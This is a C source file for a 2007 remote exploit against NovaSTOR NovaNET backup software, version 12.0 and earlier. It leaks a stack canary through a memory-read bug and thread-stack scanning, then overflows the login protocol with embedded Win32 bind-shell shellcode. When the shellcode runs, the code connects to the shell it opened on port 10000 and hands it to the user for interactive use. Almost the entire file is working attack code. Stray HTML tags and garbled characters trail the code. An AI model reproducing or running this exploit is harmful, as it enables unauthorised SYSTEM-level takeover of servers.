/* novanet-own.c * * Copyright (c) 2007 by * * NovaSTOR NovaNET <= 12.0 remote SYSTEM exploit * by mu-b - Tue Sep 25 2007 * * - Tested on: NovaSTOR NovaNET 11.0 * * A remote buffer overflow in the login protocol allows arbitrary * code execution as SYSTEM, however, the vulnerable function is * contained in a DLL (nnwindtb.dll) compiled with /gs. * * Thus we exploit another vulnerability to remotely read arbitrary * memory and retrieve the stack canary from nnwindtb.dll @ 0x016A6784. * * Note: this was silently fixed in NovaBACKUP NETWORK 13.0 * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2007!@$! */ #include #include #include #include #include #include #include #define HAS_NULL(a) (((a) - 0x01010101) & ~(a) & 0x80808080) #define CANARY_VAL(a,b) (a ^ b) /* offset defines */ #define NTDLL_ESP 0x7C86A01B /* thread info defines */ #define NOVANET_THREAD_NAME "Sup: Work to Do" #define NOVANET_TEB_BLKS 2 static struct { void *teb_start; int teb_num; } teb_addrs[2] = { { (void *) 0x7FFDF000, 11 }, { (void *) 0x7FFB0000, 5 } }; #define WIN32_TEB_SZ 0x1000 /* packet structure defines */ #define NOVANET_HDR_SZ 0x14 #define NOVANET_PKT_SZ 0x92 #define NOVANET_DOMAIN_SZ 0x1F #define NOVANET_BUF_SZ 0x400 /* memory read defines */ #define NOVANET_READ_SZ sizeof (void *) #define NOVANET_INT_IDX 32 #define NOVANET_OFFSET 0x100EC480 #define NOVANET_CALC_INT(a) (((int) (a)-NOVANET_OFFSET-16)/sizeof (int)) #define NOVANET_SET_INT(a,b) *((unsigned int *) &a[NOVANET_INT_IDX]) = b; #define PORT_SHELL 10000 #define NOVANET_TCP_PORT 3817 #define USLEEP_TIME 100000 static char getdomain_buf[] = "\x54\x84\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x92\x00\x00\x00" "\xff\xff\xff\xff\x08\x40\x80\x00\x16\xaa\x11\x02\x4c\x84\xf4\x01" "\x01\x00\x00\x00\xc0\xa8\x01\xbc\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00" "digit-labs!$" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00" "Sup: Get Domain Address" "\x00\x00\xff\xff\x00\x00\x06\x10"; static char ack_buf[] = "\x51\x84\x00\x00\x00\x00\x00\x30" "\x05\x00\x00\x00" "\x18\x00\x00\x00" /* remaining length */ "\x00\x00\x00\x00" "\x01\x00\x00\x00"; static char hup_buf[] = "\x56\x84\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x14\x00\x00\x00" /* remaining length */ "\x00\x00\x00\x00"; static char login_buf[] = "\x54\x84\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x92\x00\x00\x00" "\xff\xff\xff\xff\x09\x20\x80\x00\xcb\x14\x4C\x02\x41\xda\x2e\x02" "\x01\x00\x00\x00\xc0\xa8\x01\xbc\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69" "\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69" "\x69\x69\x69" "Dtb: Context" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\xff\xff\x00\x00\x06\x10"; static char rem_buf[] = "\x51\x84\x00\x00\x02\x02\x02\x32" "\x18\x00\x00\x00" "\x00\x00\x00\x00" /* remaining length */ "\x00\x00\x00\x00"; static char win32_x86_bind[] = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8e" "\x2b\xb7\x2a\x83\xeb\xfc\xe2\xf4\x72\x41\x5c\x67\x66\xd2\x48\xd5" "\x71\x4b\x3c\x46\xaa\x0f\x3c\x6f\xb2\xa0\xcb\x2f\xf6\x2a\x58\xa1" "\xc1\x33\x3c\x75\xae\x2a\x5c\x63\x05\x1f\x3c\x2b\x60\x1a\x77\xb3" "\x22\xaf\x77\x5e\x89\xea\x7d\x27\x8f\xe9\x5c\xde\xb5\x7f\x93\x02" "\xfb\xce\x3c\x75\xaa\x2a\x5c\x4c\x05\x27\xfc\xa1\xd1\x37\xb6\xc1" "\x8d\x07\x3c\xa3\xe2\x0f\xab\x4b\x4d\x1a\x6c\x4e\x05\x68\x87\xa1" "\xce\x27\x3c\x5a\x92\x86\x3c\x6a\x86\x75\xdf\xa4\xc0\x25\x5b\x7a" "\x71\xfd\xd1\x79\xe8\x43\x84\x18\xe6\x5c\xc4\x18\xd1\x7f\x48\xfa" "\xe6\xe0\x5a\xd6\xb5\x7b\x48\xfc\xd1\xa2\x52\x4c\x0f\xc6\xbf\x28" "\xdb\x41\xb5\xd5\x5e\x43\x6e\x23\x7b\x86\xe0\xd5\x58\x78\xe4\x79" "\xdd\x78\xf4\x79\xcd\x78\x48\xfa\xe8\x43\x90\x3a\xe8\x78\x3e\xcb" "\x1b\x43\x13\x30\xfe\xec\xe0\xd5\x58\x41\xa7\x7b\xdb\xd4\x67\x42" "\x2a\x86\x99\xc3\xd9\xd4\x61\x79\xdb\xd4\x67\x42\x6b\x62\x31\x63" "\xd9\xd4\x61\x7a\xda\x7f\xe2\xd5\x5e\xb8\xdf\xcd\xf7\xed\xce\x7d" "\x71\xfd\xe2\xd5\x5e\x4d\xdd\x4e\xe8\x43\xd4\x47\x07\xce\xdd\x7a" "\xd7\x02\x7b\xa3\x69\x41\xf3\xa3\x6c\x1a\x77\xd9\x24\xd5\xf5\x07" "\x70\x69\x9b\xb9\x03\x51\x8f\x81\x25\x80\xdf\x58\x70\x98\xa1\xd5" "\xfb\x6f\x48\xfc\xd5\x7c\xe5\x7b\xdf\x7a\xdd\x2b\xdf\x7a\xe2\x7b" "\x71\xfb\xdf\x87\x57\x2e\x79\x79\x71\xfd\xdd\xd5\x71\x1c\x48\xfa" "\x05\x7c\x4b\xa9\x4a\x4f\x48\xfc\xdc\xd4\x67\x42\x61\xe5\x57\x4a" "\xdd\xd4\x61\xd5\x5e\x2b\xb7\x2a"; static int sock_send (int fd, char *src, int len) { int n; if ((n = send (fd, src, len, 0)) < 0) { fprintf (stderr, "sock_send: send() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } return (n); } static int sock_recv (int fd, char *dst, int len) { int n; if ((n = recv (fd, dst, len, 0)) < 0) { fprintf (stderr, "sock_recv: recv() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } return (n); } static void shellami (int fd) { int n; fd_set rset; char rbuf[1024]; while (1) { FD_ZERO (&rset); FD_SET (fd, &rset); FD_SET (STDIN_FILENO, &rset); if (select (fd + 1, &rset, NULL, NULL, NULL) < 0) { fprintf (stderr, "shellami: select() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } if (FD_ISSET (fd, &rset)) { if ((n = sock_recv (fd, rbuf, sizeof (rbuf) - 1)) <= 0) { fprintf (stderr, "shellami: connection closed by foreign host.\n"); exit (EXIT_SUCCESS); } rbuf[n] = '\0'; printf ("%s", rbuf); fflush (stdout); } if (FD_ISSET (STDIN_FILENO, &rset)) { if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) - 1)) > 0) { rbuf[n] = '\0'; sock_send (fd, rbuf, n); } } } } static int sockami (char *host, int port) { struct sockaddr_in address; struct hostent *hp; int fd; if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1) { fprintf (stderr, "sockami: socket() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } if ((hp = gethostbyname (host)) == NULL) { fprintf (stderr, "sockami: gethostbyname() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } memset (&address, 0, sizeof (address)); memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length); address.sin_family = AF_INET; address.sin_port = htons (port); if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0) { fprintf (stderr, "sockami: connect() - %s\n", strerror (errno)); return (-1); } return (fd); } static void novanet_read_pkt_init (char *pkt) { char *ptr = pkt; /* add packet header */ *ptr++ = 0x54; *ptr++ = 0x84; /* add padding */ memset (ptr, 0x00, 0x1E); ptr += 0x1E; /* add our dodgy-int */ memset (ptr, 0x69, sizeof (int)); ptr += sizeof (int); memset (ptr, 0x00, NOVANET_PKT_SZ-(ptr-pkt)); } static int novanet_read (char *host, void *start, void *dst) { fd_set r_fds; struct timeval tv; int fd, n; char buf[NOVANET_PKT_SZ], rbuf[NOVANET_PKT_SZ]; novanet_read_pkt_init (buf); start = (void *) NOVANET_CALC_INT (start); fd = sockami (host, NOVANET_TCP_PORT); if (fd == -1) { fprintf (stderr, "novanet_read: sockami failed\n"); exit (EXIT_FAILURE); } NOVANET_SET_INT (buf, (unsigned int) start); if ((n = sock_send (fd, buf, sizeof buf)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_read: sock_send returned %d (!= %d)\n", n, NOVANET_PKT_SZ); return (0); } FD_ZERO (&r_fds); FD_SET (fd, &r_fds); tv.tv_sec = 4; /* wait 4 seconds */ tv.tv_usec = 0; n = select (fd + 1, &r_fds, NULL, NULL, &tv); if (n == -1) { fprintf (stderr, "novanet_read: select() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } else if (n) { if ((n = sock_recv (fd, rbuf, sizeof rbuf)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_read: sock_recv returned %d (!= %d)\n", n, NOVANET_PKT_SZ); return (0); } } else { fprintf (stderr, "novanet_read: select timeout, we may have crashed NovaNET :(\n"); exit (EXIT_FAILURE); } memcpy (dst, &rbuf[NOVANET_INT_IDX], sizeof (void *)); usleep (USLEEP_TIME); close (fd); return (1); } static void novanet_read_str (char *host, void *start, char *dst, int dst_len) { char r_val[NOVANET_READ_SZ], *ptr; void *r_addr; int nbytes; nbytes = 0; ptr = dst; r_addr = start; do { if (novanet_read (host, r_addr, &r_val) == 0) break; strncpy (ptr, r_val, 4); if (HAS_NULL (*(int *) r_val)) break; ptr += 4; r_addr += 4; nbytes += 4; } while (nbytes < dst_len - 5); } static int novanet_map_process (char *host, int *esp_val) { void *r_addr, *teb_addr, *thr_list, *arg_addr; int i, j, num_threads, thr_count; char r_buf[NOVANET_BUF_SZ]; r_addr = (void *) 0x10133C60 + 0x12510; if (novanet_read (host, r_addr, &thr_count) == 0) return (-1); printf ("** [nnwinsup.dll @ 0x10133C60+0x12510] thread list used: 0x%08X\n", thr_count); num_threads = 0; r_addr = (void *) 0x10133C60 + 0xB938; if (novanet_read (host, r_addr, &thr_list) == 0) return (-1); printf ("*** [nnwinsup.dll @ 0x10133C60+0x0B938] head ptr: 0x%08X\n", (int) thr_list); arg_addr = NULL; while ((r_addr = thr_list)) { if (novanet_read (host, r_addr, &thr_list) == 0) return (-1); novanet_read_str (host, r_addr + 0xE8, r_buf, sizeof r_buf); printf ("*** [nnwinsup.dll @ 0x%08X] next ptr: 0x%08X, name: \"%s\"\n", (int) r_addr, (int) thr_list, r_buf); if (strcmp (r_buf, NOVANET_THREAD_NAME) == 0) arg_addr = r_addr; if (thr_list != NULL) num_threads++; } printf ("** [nnwinsup.dll @ 0x10133C60+0x0B938] thread count: %d\n", num_threads); if (arg_addr == NULL) return (-1); for (i = 0; i < NOVANET_TEB_BLKS; i++) { teb_addr = teb_addrs[i].teb_start - WIN32_TEB_SZ; printf ("** [TEB BLK @ 0x%08X] scanning %d blocks\n", (int) teb_addr, teb_addrs[i].teb_num); for (j = 0; j < teb_addrs[i].teb_num; j++, teb_addr -= WIN32_TEB_SZ) { int st_addr, sb_addr, thr_id; void *thr_arg; r_addr = teb_addr + 0x04; if (novanet_read (host, r_addr, &st_addr) == 0) break; r_addr = teb_addr + 0x08; if (novanet_read (host, r_addr, &sb_addr) == 0) break; r_addr = teb_addr + 0x24; if (novanet_read (host, r_addr, &thr_id) == 0) break; if (st_addr != 0xFFFFFFFF) { r_addr = (void *) st_addr - 0x7C; if (novanet_read (host, r_addr, &thr_arg) == 0) break; } else thr_arg = (void *) 0xDEADBEEF; printf ("** [TEB @ 0x%08X] thread id: %04X, stack base: 0x%08X, top: 0x%08X, arg: 0x%08X\n", (int) teb_addr, thr_id, sb_addr, st_addr, (int) thr_arg); if (thr_arg == arg_addr) { printf ("** [TEB @ 0x%08X] found thread id: %04X, stack top: 0x%08X, ESP: 0x%08X\n", (int) teb_addr, thr_id, st_addr, st_addr - 0x444); *esp_val = st_addr - 0x444; return (0); } } } return (-1); } static void novanet_get_domain (char *thost, char *d_name) { char rbuf_hdr[NOVANET_HDR_SZ], rbuf_pkt[NOVANET_PKT_SZ], *pkt_ptr; int fd, n, rlen; fd = sockami (thost, NOVANET_TCP_PORT); if (fd == -1) { fprintf (stderr, "novanet_get_domain: sockami failed\n"); exit (EXIT_FAILURE); } printf ("* connected to %s:%d\n", thost, NOVANET_TCP_PORT); printf ("** sending getdomain_buf packet..."); if ((n = sock_send (fd, getdomain_buf, sizeof getdomain_buf - 1)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_get_domain: sock_send returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** reading first reply..."); if ((n = sock_recv (fd, rbuf_pkt, sizeof rbuf_pkt)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); memcpy (d_name, &rbuf_pkt[0x54], NOVANET_DOMAIN_SZ); printf ("** remote domain address: %.*s\n", NOVANET_DOMAIN_SZ, d_name); printf ("** sending ack packet..."); if ((n = sock_send (fd, ack_buf, sizeof ack_buf - 1)) != NOVANET_HDR_SZ + 4) { fprintf (stderr, "novanet_get_domain: sock_send returned %d (!= %d)\n", n, NOVANET_HDR_SZ + 4); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** reading second reply..."); if ((n = sock_recv (fd, rbuf_hdr, sizeof rbuf_hdr)) != NOVANET_HDR_SZ) { fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n", n, NOVANET_HDR_SZ); exit (EXIT_FAILURE); } printf ("done\n"); rlen = *(unsigned int *) &rbuf_hdr[12]; if (rlen < NOVANET_HDR_SZ) { fprintf (stderr, "novanet_get_domain: remaining length invalid (<%d)\n", NOVANET_HDR_SZ); exit (EXIT_FAILURE); } rlen -= NOVANET_HDR_SZ; printf ("** reading %d-remaining bytes...", rlen); pkt_ptr = malloc (rlen * sizeof (char)); if ((n = sock_recv (fd, pkt_ptr, rlen)) != rlen) { fprintf (stderr, "novanet_get_domain: sock_recv returned %d (!= %d)\n", n, rlen); exit (EXIT_FAILURE); } printf ("done\n"); free (pkt_ptr); printf ("** sending hup packet..."); if ((n = sock_send (fd, hup_buf, sizeof hup_buf - 1)) != NOVANET_HDR_SZ) { fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n", n, NOVANET_HDR_SZ); exit (EXIT_FAILURE); } printf ("done\n\n"); usleep (USLEEP_TIME); close (fd); } static void novanet_own_process (char *thost, char *d_name, int esp_val) { char rbuf_pkt[NOVANET_PKT_SZ], *ptr; int canary_val, fd, n, rlen; if (novanet_read (thost, (void *) 0x016A6784, &canary_val) == 0) { fprintf (stderr, "novanet_own_process: reading canary failed\n"); exit (EXIT_FAILURE); } fd = sockami (thost, NOVANET_TCP_PORT); if (fd == -1) { fprintf (stderr, "novanet_own_process: sockami failed\n"); exit (EXIT_FAILURE); } printf ("** [nnwindtb.dll @ 0x016A6784] stack canary: 0x%08X\n\n", (int) canary_val); if (HAS_NULL (CANARY_VAL(canary_val, esp_val))) { fprintf (stderr, "novanet_own_process: canary value invalid :(\n"); exit (EXIT_FAILURE); } printf ("* connected to %s:%d\n", thost, NOVANET_TCP_PORT); memcpy (&login_buf[0x54], d_name, NOVANET_DOMAIN_SZ); printf ("** sending login packet..."); if ((n = sock_send (fd, login_buf, sizeof login_buf - 1)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** reading fourth packet..."); if ((n = sock_recv (fd, rbuf_pkt, sizeof rbuf_pkt)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_own_process: sock_recv returned %d (!= %d)\n", n, NOVANET_PKT_SZ); exit (EXIT_FAILURE); } printf ("done\n"); rlen = 0x10C + 64 + (sizeof win32_x86_bind - 1) + 1; *(unsigned int *) &rem_buf[12] = rlen + NOVANET_HDR_SZ; printf ("** sending remaining %d-bytes packet...", rlen); if ((n = sock_send (fd, rem_buf, sizeof rem_buf - 1)) != NOVANET_HDR_SZ) { fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n", n, NOVANET_HDR_SZ); exit (EXIT_FAILURE); } printf ("done\n"); printf ("** sending hammer packet..."); ptr = malloc (rlen * sizeof (char)); memset (ptr, 0x41, rlen); *(unsigned int *) &ptr[0x104] = CANARY_VAL(canary_val, esp_val); *(unsigned int *) &ptr[0x108] = NTDLL_ESP; memcpy (&ptr[0x10C + 64], win32_x86_bind, sizeof win32_x86_bind - 1); ptr[rlen - 1] = '\0'; if ((n = sock_send (fd, ptr, rlen)) != rlen) { fprintf (stderr, "novanet_own_process: sock_send returned %d (!= %d)\n", n, rlen); exit (EXIT_FAILURE); } free (ptr); printf ("done\n\n"); usleep (USLEEP_TIME); close (fd); printf ("* waiting for the shellcode to be executed...\n"); sleep (2); if ((fd = sockami (thost, PORT_SHELL)) != -1) { printf ("+Wh00t!\n\n"); shellami (fd); } } int main (int argc, char **argv) { char d_name[NOVANET_DOMAIN_SZ]; int esp_val; printf ("NovaSTOR NovaNET <= 12.0 remote SYSTEM exploit\n" "by: \n" "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n"); if (argc < 2) { fprintf (stderr, "Usage: %s \n", argv[0]); exit (EXIT_SUCCESS); } esp_val = 0xdeadbeef; printf ("* mapping remote process...\n"); if (novanet_map_process (argv[1], &esp_val) < 0) { fprintf (stderr, "novanet_map_process: unable to locate thread :(\n"); exit (EXIT_SUCCESS); } printf ("* done\n\n"); novanet_get_domain (argv[1], d_name); novanet_own_process (argv[1], d_name, esp_val); return (EXIT_SUCCESS); }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß